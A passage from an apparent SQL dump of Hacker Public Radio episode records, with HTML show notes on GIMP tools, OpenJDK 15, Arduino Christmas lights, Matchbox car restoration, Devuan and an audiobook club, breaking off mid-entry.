(3140,'2020-08-14','GIMP: Selection Tools',962,'The key to using GIMP effectively is to select the area you want to work on.','<p>Selection Tools define the area that other tools will work within. For example, if you want to add color to an image, you probably want to add it to a specific area, not to the entire image. Selection Tools help you to pick the area precisely, and are useful for photo retouching purposes.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.8/en/\">https://docs.gimp.org/2.8/en/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/tools-selection/\">https://www.ahuka.com/gimp/tools-selection/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, selection',0,0,1),
(3150,'2020-08-28','GIMP: Paint Tools',1097,'With Paint Tools you begin to operate on the image.','<p>Paint Tools are where you begin to add things to an image. You can add a large variety of things depending on the tool, from thin lines to broad strokes, to gradients, and so on.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.8/en/\">https://docs.gimp.org/2.8/en/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/paint-tools/\">https://www.ahuka.com/gimp/paint-tools/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, paint, draw',0,0,1),
(3160,'2020-09-11','GIMP: Transform Tools',992,'With Transform Tools you can stretch, move, and crop the image.','<p>Transform Tools are where you start to manipulate an image. You can move it around, stretch it, rotate it, crop it, and so on. This is the third of the four groups of tools we will look at for GIMP.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.8/en/\" class=\"uri\">https://docs.gimp.org/2.8/en/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Transformation_matrix\" class=\"uri\">https://en.wikipedia.org/wiki/Transformation_matrix</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/transform-tools/\" class=\"uri\">https://www.ahuka.com/gimp/transform-tools/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, transform',0,0,1),
(3113,'2020-07-08','OpenJDK 15 - Unsafe Garbage',893,'We take a quick look at what is coming in JDK 15','<p><a href=\"https://youtu.be/7duUZYvNFWw\">Youtube: OpenJDK 15 - Unsafe Garbage</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/339\">339: Edwards-Curve Digital Signature Algorithm (EdDSA)</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/360\">360: Sealed Classes (Preview)</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/371\">371: Hidden Classes</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/372\">372: Remove the Nashorn JavaScript Engine</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/373\">373: Reimplement the Legacy DatagramSocket API</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/374\">374: Disable and Deprecate Biased Locking</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/375\">375: Pattern Matching for instanceof (Second Preview)</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/377\">377: ZGC: A Scalable Low-Latency Garbage Collector</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/378\">378: Text Blocks</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/379\">379: Shenandoah: A Low-Pause-Time Garbage Collector</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/381\">381: Remove the Solaris and SPARC Ports</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/383\">383: Foreign-Memory Access API (Second Incubator)</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/384\">384: Records (Second Preview)</a></p>\r\n<p><a href=\"https://openjdk.java.net/jeps/385\">385: Deprecate RMI Activation for Removal</a></p>\r\n',382,0,0,'CC-BY-SA','java, news',0,0,1),
(3118,'2020-07-15','Linux Inlaws S01E10 The Python Bumper Part 1',5436,'A discussion of Python questions and their answers (part 1). Plus news on Brad and Alia','<ul>\r\n    <li>Linux 5.8RC1: <a href=\"https://www.phoronix.com/scan.php?page=news_item&px=Linux-5.8-rc1-Released\" target=_blank>https://www.phoronix.com/scan.php?page=news_item&px=Linux-5.8-rc1-Release\r\nd</a></li>\r\n  <li>Stackless Python: <a href=\"https://github.com/stackless-dev/stackless/wiki\" target=_blank>https://github.com/stackless-dev/stackless/wiki</a></li>\r\n  <li>Python 3 documentation: <a href=\"https://docs.python.org/3\" target=_blank>https://docs.python.org/3</a></li>\r\n  <li>Guido van	Rossum:	<a href=\"https://gvanrossum.github.io\" target=_blank>https://gvanrossum.github.io</a></li>\r\n    <li>Python Enhancement Proposals (PEPs): <a href=\"https://www.python.org/dev/peps\" target=_blank>https://www.python.org/dev/peps</a></li>\r\n    <li>PEP 404: <a href=\"https://www.python.org/dev/peps/pep-0404\" target=_blank>https://www.python.org/dev/peps/pep-0404</a></li>\r\n    <li>PEP 572: <a href=\"https://www.python.org/dev/peps/pep-0572\" target=_blank>https://www.python.org/dev/peps/pep-0572</a></li>\r\n    <li>Brad & Alia: <a href=\"https://www.gala.de/stars/news/l_a__news/brad-pitt--ist-er-mit-dieser-schauspielerin-zusammen--22244236.html\" target=_blank>https://www.gala.de/stars/news/l_a__news\r\n/brad-pitt--ist-er-mit-dieser-schauspielerin-zusammen--22244236.html</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','Python, PEP, Linux, Alia Shawkat, Brad Pitt, Stackless Python',0,0,1),
(3117,'2020-07-14','The joy of retro computing',1914,'Knightwise talks about the old computers in his attic and how it is a loverly geek getaway','<p>Knightwise talks about his collection of old macs and pc\'s and how he uses them as a little \"getaway\" of the rush of modern day life. Show recorded in the car, excuse the road noise.</p>',111,0,0,'CC-BY-SA','Retro computer',0,0,1),
(3123,'2020-07-22','Arduino controlled Christmas lights',170,'Controlling Christmas LED lights with an Arduino','<ol type=\"1\">\r\n<li><p>Inspired by an Instructable project</p>\r\n<p><a href=\"https://www.instructables.com/id/LED-VU-Meter-With-Arduino-UNO\">https://www.instructables.com/id/LED-VU-Meter-With-Arduino-UNO</a></p></li>\r\n<li><p>Started the project with Arduino Uno.</p>\r\n<ul>\r\n<li>Found that power it with the barrel plug made audio input stable</li>\r\n<li>Tested this theory by using USB power</li>\r\n<li>Suspect this was due to grounding not being as good with the USB</li>\r\n<li>This caused LED\'s to light even without an audio input</li>\r\n<li>Ended up using an generic Arduino Nano to control the project</li>\r\n</ul></li>\r\n<li><p>Modified an audio mic preamplifier from Amazon to condition the output from the laptop music source</p></li>\r\n<li><p>Ran the output from this to A0 on the Arduino</p></li>\r\n<li><p>Split the signal out to an external speaker</p></li>\r\n<li><p>Used digital outputs listed in the sketch to power the LED indicators</p>\r\n<ul>\r\n<li>For reference, a sketch is the program that the Arduino runs through a loop.</li>\r\n</ul></li>\r\n<li><p>Used pins 10 to 12 as AnalogWrite pin to provide the power to the solid state relays.</p></li>\r\n<li><p>Used a dremel to separate the power to the hot side of the two power outlets</p>\r\n<ul>\r\n<li>Used three of the outlets to power three strings of Christmas tree LED lights.</li>\r\n<li>Used the other outlet to power the Arduino</li>\r\n</ul></li>\r\n<li><h4 id=\"bonus\">Bonus</h4>\r\n<ul>\r\n<li>Using these particular solid state relays, there is still a 10Vac output in <em>off</em> state. It actually worked for good, as the lights are at a nice brightness without a music input.</li>\r\n<li>Kindly leave a note in the comments if this is common to Solid State relays.</li>\r\n</ul></li>\r\n</ol>\r\n<h3 id=\"links\">Links:</h3>\r\n<h4 id=\"gy-max4466-electret-microphone-amplifier\">GY-MAX4466 Electret Microphone Amplifier</h4>\r\n<p><a href=\"https://www.amazon.com/gp/product/B07C3HXPJ9/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1\">https://www.amazon.com/gp/product/B07C3HXPJ9/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1</a></p>\r\n<h4 id=\"solid-state-relay-on-ebay\">Solid State relay on Ebay</h4>\r\n<p><a href=\"https://www.ebay.com/itm/25A-40A-SSR-25DA-SSR-40DA-250V-Solid-State-Relay-Module-Alloy-Heat-Sink/401478280169?hash=item5d79f863e9:g:dkwAAOSwiqFaX3f8\">https://www.ebay.com/itm/25A-40A-SSR-25DA-SSR-40DA-250V-Solid-State-Relay-Module-Alloy-Heat-Sink/401478280169?hash=item5d79f863e9:g:dkwAAOSwiqFaX3f8</a></p>\r\n<h4 id=\"elegoo-for-arduino-nano-v3.0\">ELEGOO for Arduino Nano V3.0</h4>\r\n<p><a href=\"https://www.amazon.com/gp/product/B0713XK923/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1\">https://www.amazon.com/gp/product/B0713XK923/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1</a></p>\r\n<h4 id=\"analogwrite\">AnalogWrite</h4>\r\n<p><a href=\"https://www.arduino.cc/en/pmwiki.php?n=Reference/AnalogWrite\">https://www.arduino.cc/en/pmwiki.php?n=Reference/AnalogWrite</a></p>\r\n<p><a href=\"https://www.arduino.cc/en/Tutorial/AnalogInOutSerial\">https://www.arduino.cc/en/Tutorial/AnalogInOutSerial</a></p>\r\n<h3 id=\"my-video\">My video</h3>\r\n<p><a href=\"https://archive.org/details/vid-20191217-192821-no-audio\">Sound\r\nReactive Christmas lights on Archive.org</a></p>\r\n<p><img src=\"https://ia801506.us.archive.org/34/items/screenshot-20200630-014101/Screenshot_20200630-014101.png\" style=\"width:200px;\" /></p>\r\n<p><strong>Edit:</strong></p>\r\n<p>Here is the song I meant to add, to see if it matches my video of the lights.</p>\r\n<p>It is the Trans Siberian Orchestra, Carol of the Bells.</p>\r\n<p><a href=\"https://m.youtube.com/watch?v=sCabI3MdV9g\" target=\"_blank\">https://m.youtube.com/watch?v=sCabI3MdV9g</a></p>\r\n',318,91,0,'CC-BY-SA','Arduino, Christmas, lights, Solid state relays',0,0,1),
(3170,'2020-09-25','GIMP: Color Tools',1199,'With Color Tools you can adjust the colors and brightness of an image.','<p>Color Tools are where you can adjust the colors and brightness of an image.You can change the color balance, adjust individual colors or transparency without affecting other colors, and so on. This is the fourth of the four general groups of tools we will look at for GIMP. There will also be some miscellaneous tools.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.8/en/\" class=\"uri\">https://docs.gimp.org/2.8/en/</a></li>\r\n<li><a href=\"https://osdn.net/projects/separate-plus/\" class=\"uri\">https://osdn.net/projects/separate-plus/</a></li>\r\n<li><a href=\"https://learn.leighcotnoir.com/artspeak/elements-color/hue-value-saturation/\" class=\"uri\">https://learn.leighcotnoir.com/artspeak/elements-color/hue-value-saturation/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Complementary_colors\" class=\"uri\">https://en.wikipedia.org/wiki/Complementary_colors</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/transform-tools/\" class=\"uri\">https://www.ahuka.com/gimp/transform-tools/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, color',0,0,1),
(3180,'2020-10-09','GIMP: Miscellaneous Tools',803,'These few remaining tools are important, but don\'t fit neatly into one category.','<p>The Miscellaneous tools do a number of useful things without fitting neatly into a category. The Paths tool takes Selections up a notch and also lets you add interesting effects. Zoom is one you would use every day, and Measure is handy in some situations. Finally, GEGL Operations are the future of all GIMP development</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.8/en/\" class=\"uri\">https://docs.gimp.org/2.8/en/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/B%C3%A9zier_curve\" class=\"uri\">https://en.wikipedia.org/wiki/B%C3%A9zier_curve</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Font_hinting\" class=\"uri\">https://en.wikipedia.org/wiki/Font_hinting</a></li>\r\n<li><a href=\"https://www.webopedia.com/TERM/A/antialiasing.html\" class=\"uri\">https://www.webopedia.com/TERM/A/antialiasing.html</a></li>\r\n<li><a href=\"https://docs.gimp.org/2.8/en/gimp-tool-gegl.html\" class=\"uri\">https://docs.gimp.org/2.8/en/gimp-tool-gegl.html</a></li>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/gimp-tool-gegl.html\" class=\"uri\">https://docs.gimp.org/2.10/en/gimp-tool-gegl.html</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=aEsqVMCgpJ8\" class=\"uri\">https://www.youtube.com/watch?v=aEsqVMCgpJ8</a></li>\r\n<li><a href=\"https://www.patreon.com/m/649544/posts\" class=\"uri\">https://www.patreon.com/m/649544/posts</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/miscellaneous-tools/\" class=\"uri\">https://www.ahuka.com/gimp/miscellaneous-tools/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, paths, zoom, GEGL',0,0,1),
(3124,'2020-07-23','Matchbox Restoration Part 5',310,'In this the 5th in the series Tony discusses the painting process on the castings of the MK10 Jaguar','<h2 id=\"hpr-matchbox-show-episode-5\">HPR Matchbox show Episode 5</h2>\r\n<p>Good day to all in HPR land, this is Tony Hughes coming to you again from Blackpool in the UK. To recap this is the 5th in a series of shows about my hobby of restoring Matchbox and other Die cast models. In the last show I went through the process I use to remove the paint and prepare the casting for repainting and reassembly. In this episode we will look at the painting of the castings and \'Spoiler\' what to do if things go wrong.</p>\r\n<p>After polishing and before painting I degrease the casting in some alcohol. I use a cheap own brand nail polish remover from the Co-Op but there are many ways of doing this and as many products on the market, so use what you have to hand. Even a good clean in hot soapy water, dry with a lint free cloth and then a wipe over with alcohol wipes works well. Remember to wear gloves when handling the casting after this process as the grease from your hands can undo all your hard work.</p>\r\n<p>So the first thing to say is that I am still in the early stages of learning this hobby and use what are referred to as \'Rattle\' cans in this community, it just means spray can painting rather than the use of an Air Brush, which I will be moving onto at some point so I can mix my own paint colours and not just those available in a spray can.</p>\r\n<p>So far I have been painting the casting outside during a warm dry day with little or no wind, or in a sheltered spot behind the garage if the wind is a little strong. I have now set up a small portable spray booth in the garage for this so will be able to paint in all conditions weather wise, which will make life easier.</p>\r\n<p>Image 001<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_000.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_000_thumbnail.jpg\" alt=\"Image 001\" /></a></p>\r\n<p>So back to the casting, I use a Hemostat Clamp to hold the casting on this model it is attached to the post that holds the model together as this will not be seen when reassembled, I used a grey primer, spraying light coats all over the model until it is completely covered in the primer. Priming helps smooth out any small imperfections for the final paint coat, and as the casting is over 50 years old, it also lays down a consistent base colour and ensures that the colour coat should be the same all over when final paint is applied. As you can see in the picture it also shows up the casting lines and if desired these can be filed away prior to final painting, as this is a restoration I left this casting as original as possible, and left these in.</p>\r\n<p>Image 002<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_001.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_001_thumbnail.jpg\" alt=\"Image 002\" /></a></p>\r\n<p>Image 003<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_002.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_002_thumbnail.jpg\" alt=\"Image 003\" /></a></p>\r\n<p>After leaving the casting to dry for about an hour I came back with the colour coat, the original model was a metallic brown, but the nearest match I was able to find in the local pound shops is a metallic gold. Not perfect but the final results look good, but a little lighter than the original paint. I applied the paint in smooth fine strokes, getting what is called a tack coat of the paint all over the model casting to start, then applying another coat (the wet coat) all over until there is no sign of the primer and all looks smooth but with no runs in the paint finish. The balance needs to be just right with not too little or too much paint, but with practice you get there in the end. Unforseeably on this occasion there was a reaction with the primer on the rear of the model which caused bubbling of the paint.</p>\r\n<p>Image 004<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_003.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_003_thumbnail.jpg\" alt=\"Image 004\" /></a></p>\r\n<p>Image 005<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_004.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_004_thumbnail.jpg\" alt=\"Image 005\" /></a></p>\r\n<p>So after allowing the paint to fully cure I used a little wet and dry fine sanding paper to smooth out this area and gave the casting another coat of paint, and fortunately this time all was well as you can see from the pictures in the show notes.</p>\r\n<p>Image 006<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_005.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_005_thumbnail.jpg\" alt=\"Image 006\" /></a></p>\r\n<p>Image 007<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_006.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_006_thumbnail.jpg\" alt=\"Image 007\" /></a></p>\r\n<p>While the casting was fully curing I turned my attention to the screen plastic. I found the best of the ones I had salvaged, from the 4 castings, picture 008 in the notes, and gave it a polish with some auto sol polishing compound using a cotton bud, and it came out quite nice. I then gave it a wash in soapy water to remove the residue of the polishing compound and after drying gave it a dip in some Pledge floor shine, it works great.</p>\r\n<p>Image 008<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_007.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_007_thumbnail.jpg\" alt=\"Image 008\" /></a></p>\r\n<p>Image 009<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_008.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_008_thumbnail.jpg\" alt=\"Image 009\" /></a></p>\r\n<p>Image 010<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_009.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_009_thumbnail.jpg\" alt=\"Image 010\" /></a></p>\r\n<p>After coating the screen in the Pledge it is placed on a pad of paper towel and covered with a plastic pot to stop dust getting on it while drying.</p>\r\n<p>Image 011<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3124/img_010.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3124/img_010_thumbnail.jpg\" alt=\"Image 011\" /></a></p>\r\n<p>Although the original casting had a black painted base I liked the look of the polished base so decided to leave this as it was, but if painting the base it is the same process as the main casting.</p>\r\n<p>Well that\'s it for this episode, on the next I will look at putting the wheels and axles back on the base and the reassembly process.</p>\r\n<p>This is Tony Hughes for Hacker Public Radio, saying goodbye for now, keep safe everyone and I\'ll be back soon with the next instalment.</p>\r\n',338,114,0,'CC-BY-SA','Matchbox Cars, Diecast Models, Restoration, painting, Rattle cans, Air brushing, Plastic polishing',0,0,1),
(3121,'2020-07-20','Opposing Views on Tattoos',1866,'Windigo and Mrs. Honeyhume discuss their views on tattoos','<p>\r\nNote: Phone recording came with a little bit of a hiss. Sorry about that!\r\n</p>\r\n<p>\r\nI discuss the subject of tattoos with my partner of fifteen years, Mrs. Honeyhume. While we agree on many subjects, tattoos are not one of them.\r\n</p>\r\n<p>\r\nShe enjoys and appreciates tattoos, seeing them as a permanent form of art that you can display on your own body. She has several of her own. I do not mind if other people tattoo themselves, but I am very opposed to getting them myself.\r\n</p>\r\n<p>\r\nWe discuss cultural influences of tattooing, some different methods used to tattoo skin, and many hypothetical situations to try to pin down the source of my opposition to getting one.\r\n</p>\r\n',196,0,1,'CC-BY-SA','tattoos',0,0,1),
(3126,'2020-07-27','Metrics part II',1967,'The metric of a 2D curved surface','<p>In this show I continue from where I left off in my last show (<a href=\"https://hackerpublicradio.org/eps.php?id=3101\">3101</a>) and talk about the geometry of curved 2D surfaces such as that of a sphere.</p>\r\n<p>Using the Earth\'s surface as an example we can use familiar the co-ordinates of longitude and latitude, illustrated on this diagram:</p>\r\n<img alt=\"Sphere with latitude and longitude\" src=\"https://hackerpublicradio.org/eps/hpr3126/FedStats_Lat_long.png\">\r\n\r\n<p><em>Source: Public domain, <a href=\"https://commons.wikimedia.org/wiki/File:FedStats_Lat_long.png\">Wikimedia commons</a></em></p>\r\n<p>On the left we see circles of constant latitude. The largest of these circles is at latitude 0° and is called the <strong>equator</strong>. Its circumference is equal to that of the Earth and so it is an example of a <strong>great circle</strong>.</p>\r\n<p>On the right we see lines of constant longitude. These run from pole to pole and are perpendicular to the equator. Each of these lie on a great circle (in fact they are half a great circle each).</p>\r\n<p>Great circles on the surface of a sphere are analogous to straight lines on a flat 2D surface. They offer a way to connect any two points with the shortest distance. Lines in 2D or great circles on a sphere are examples of what is called a <strong>geodesic</strong>. In physics, particles that are not subject to any forces will follow geodesics.</p>\r\n<p>In Einstein\'s General Theory of Relativity, the presence of mass or energy will alter the shape of spacetime and that will determine the metric. From the metric you can derive the geodesics and from that you can predict the motion of objects with no forces acting on them. In this way you can do away with the approximation that is Newton\'s gravitational force and replace it by a description that only involves the curvature of spacetime. I only touch on this in this show but will likely return to it in future shows.</p>\r\n<p>Here are the equations discussed in this show and the previous one:</p>\r\n<img alt=\"Sphere with latitude and longitude\" src=\"https://hackerpublicradio.org/eps/hpr3126/metric_equations.png\">\r\n\r\n',268,0,0,'CC-BY-SA','maths,relativity,physics,earth',0,0,1),
(3122,'2020-07-21','Devuan review - and commentary',2086,'Devuan  Review plus I talk about race','<p>\r\nFrom <a href=\"https://en.wikipedia.org/wiki/Devuan\">Wikipedia</a>, the free encyclopedia\r\n</p>\r\n<p>\r\n<b><a href=\"https://devuan.org/\">Devuan</a></b> is a fork Debian that uses sysvinit or OpenRC instead of systemd, which is the default in newer Debian releases. The Devuan development team aim to maintain compatibility with other init systems in the future and not detach Linux from other Unix systems.\r\n</p>\r\n<p>\r\n<small>[Edit: Ken 2020-07-21]</small>\r\n</p>\r\n<p>\r\nA significant portion of this show relates to the U.S Supreme Court decision in the case of <a href=\"https://www.supremecourt.gov/opinions/19pdf/18-9526_9okb.pdf\">McGIRT v. OKLAHOMA</a>, and speculation as to possible ramifications.\r\n</p>\r\n\r\n',377,0,0,'CC-BY-SA','Devuan, Debian, sysvinit, OpenRC, systemd',0,0,1),
(3190,'2020-10-23','GIMP Brushes',1219,'Paint tools, and particularly the Paintbrush Tool, require the use of brushes.','<p>Brushes are a key part of using Paint tools, and in particular the Paintbrush Tool. And in this episode we look at how to work with, edit, download, and save different brushes. We look at the Brush Dialog, and examine the different settings that make them easier to work with.</p>\r\n<p>Links:</p>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.8/en/\" class=\"uri\">https://docs.gimp.org/2.8/en/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/paint-tools/\" class=\"uri\">https://www.ahuka.com/gimp/paint-tools/</a></li>\r\n<li><a href=\"https://franz.com/support/documentation/current/doc/cg/cg-pixmaps.htm\" class=\"uri\">https://franz.com/support/documentation/current/doc/cg/cg-pixmaps.htm</a></li>\r\n<li><a href=\"https://ergodic.ugr.es/cphys_pedro/unix/athena5.html\" class=\"uri\">https://ergodic.ugr.es/cphys_pedro/unix/athena5.html</a></li>\r\n<li><a href=\"https://conceptartempire.com/gimp-brushes/\" class=\"uri\">https://conceptartempire.com/gimp-brushes/</a></li>\r\n<li><a href=\"https://opensource.com/article/17/10/7-must-have-gimp-brushes\" class=\"uri\">https://opensource.com/article/17/10/7-must-have-gimp-brushes</a></li>\r\n<li><a href=\"https://logosbynick.com/free-download-gimp-brushes/\" class=\"uri\">https://logosbynick.com/free-download-gimp-brushes/</a></li>\r\n<li><a href=\"https://daviesmediadesign.com/the-best-free-brushes-for-gimp-in-2020/\" class=\"uri\">https://daviesmediadesign.com/the-best-free-brushes-for-gimp-in-2020/</a></li>\r\n<li><a href=\"https://www.makeuseof.com/tag/install-gimp-brushes/\" class=\"uri\">https://www.makeuseof.com/tag/install-gimp-brushes/</a></li>\r\n<li><a href=\"https://www.deviantart.com/\" class=\"uri\">https://www.deviantart.com/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/brushes/\" class=\"uri\">https://www.ahuka.com/gimp/brushes/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, brushes',0,0,1),
(3129,'2020-07-30','Followup on HPR3122',2157,'Followup on HPR3122 and *MORE* - percent *MORE* undescribed','https://www.youtube.com/watch?v=OFWCbGzxofU',377,0,0,'CC-BY-SA','Followups MORE',0,0,1),
(3127,'2020-07-28','HPR AudioBook Club 20 - Quarter Share',9131,'The HPR Audiobook Club reviews the audiobook Quarter Share by Nathan Lowell','<h1 id=\"in-this-episode-the-hpr-audiobook-club-discusses-the-audiobook-quarter-share-by-nathan-lowell\">In this episode the HPR Audiobook Club discusses the audiobook <a href=\"https://scribl.com/books/P2A75/quarter-share\">Quarter Share</a> by Nathan Lowell</h1>\r\n<hr />\r\n<h1 id=\"non-spoiler-thoughts\">Non-Spoiler Thoughts</h1>\r\n<hr />\r\n<ul>\r\n<li>This may be Pokey\'s all time favorite audiobook.</li>\r\n<li>This book takes the \'fish out of water\" trope and turns it on it head to a certain extent.</li>\r\n<li>Is Klaatu really Bilbo Baggins?</li>\r\n<li>Ishmael Wang is kinda our hero.</li>\r\n<li>So Traveller is a huge influence on these books.</li>\r\n<li>You know you want to deep dive on the lore of this universe. <a href=\"https://solarclipper.com/\">Go ahead</a>.</li>\r\n<li>Buy more Nathan Lowell books.</li>\r\n<li>WWID, What Would Ishmael Do</li>\r\n<li>Excellent recording, despite equipment of dubious quality.</li>\r\n<li>Solar Clipper Universe vs. StarDrifter Universe, and how we are fantastically lucky to have both.</li>\r\n</ul>\r\n<h1 id=\"beverage-reviews\">Beverage Reviews</h1>\r\n<hr />\r\n<p>As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n<li><strong>Thaj:</strong> Grapefruit Juice, simple, delicious.</li>\r\n<li><strong>x1101:</strong> Shipyards Signature Series IPA</li>\r\n<li><strong>pokey:</strong> I like Roma Sambuka in my coffee. It\'s muggy here today, so I\'m happy to discover that it\'s just as good in ice coffee. Roma Sambuka does not seem to have a website. The trick, imho, is to make your coffee as you normally would, then add the booze. Don\'t adjust for the booze, other than using a bigger glass.</li>\r\n<li><strong>FiftyOneFifty:</strong> <a href=\"https://olesmoky.com/pages/distillery\">Ole Smokey Tennessee Moonshine</a></li>\r\n</ul>\r\n<h1 id=\"things-we-talked-about\">Things We talked about</h1>\r\n<hr />\r\n<ul>\r\n<li>We definitely can\'t keep these books straight. Just read them all. You\'ll thank us.</li>\r\n<li>Pokey found a plot bullet, maybe. Thaj may disagree.</li>\r\n<li>All the characters are there for a reason.</li>\r\n<li>Nathan\'s reading voice is perfect for this series.</li>\r\n<li>Wormholes, wormholes, wormholes.</li>\r\n<li>We discuss the details of how to use the technology from this series to fly into a system.</li>\r\n<li>Pokey wishes promotions in the real world worked they way they work on the ship.</li>\r\n<li>Find the Podiobook Easter eggs.</li>\r\n</ul>\r\n<h1 id=\"our-next-audiobook\">Our Next Audiobook</h1>\r\n<hr />\r\n<p><a href=\"https://scribl.com/books/P98FB/the-terrible-business-of-salmon-and-dusk\">The Terrible Business of Salmon &amp; Dusk</a></p>\r\n<h1 id=\"the-next-audiobook-club-recording\">The Next Audiobook Club Recording</h1>\r\n<hr />\r\n<p>Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new episodes with listener participation.</p>\r\n<h1 id=\"further-recommendations\">Further Recommendations</h1>\r\n<hr />\r\n<ul>\r\n<li>Daredevil</li>\r\n<li>The DCEU</li>\r\n<li>We talk about a picture I can no longer find a link for.</li>\r\n<li>Pokey gets a new <a href=\"https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Fi.ytimg.com%2Fvi%2FMey_Q4ZhvD4%2Fmaxresdefault.jpg&amp;f=1&amp;nofb=1\">motorcycle</a>.</li>\r\n<li>FiftyOneFifty talks about actual computer stuff.</li>\r\n<li>Windows probs...</li>\r\n<li>Web Browsers editorializing the Internet.</li>\r\n<li>Is Flash dead yet?</li>\r\n</ul>\r\n<h1 id=\"feedback\">Feedback</h1>\r\n<hr />\r\n<p>Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time we record a new episode. Please leave a few words in the episode\'s comment section.</p>\r\n<p>As always; remember to visit the HPR contribution page HPR could really use your <a href=\"https://hackerpublicradio.org/help_out.php\">help</a> right now.</p>\r\n<p>Sincerely, The HPR Audiobook Club</p>\r\n<p><em>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</em></p>\r\n<h1 id=\"our-audio\">Our Audio</h1>\r\n<hr />\r\n<p>This episode was processed using <a href=\"https://audacity.sourceforge.net/\">Audacity</a>. We\'ve been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it\'s not good at making everyone\'s voice the same volume. We\'re pretty happy with the way this month\'s show turned out, so we\'d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).</p>\r\n<p>We use the \"Truncate Silence\" effect with it\'s default settings to minimize the silence between people speaking. When used with it\'s default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\r\n<pre><code>    Threshold: -30db\r\n    Noise Floor: -50db\r\n    Ratio: 3:1\r\n    Attack Time: 0.2sec\r\n    Decay Time: 1.0 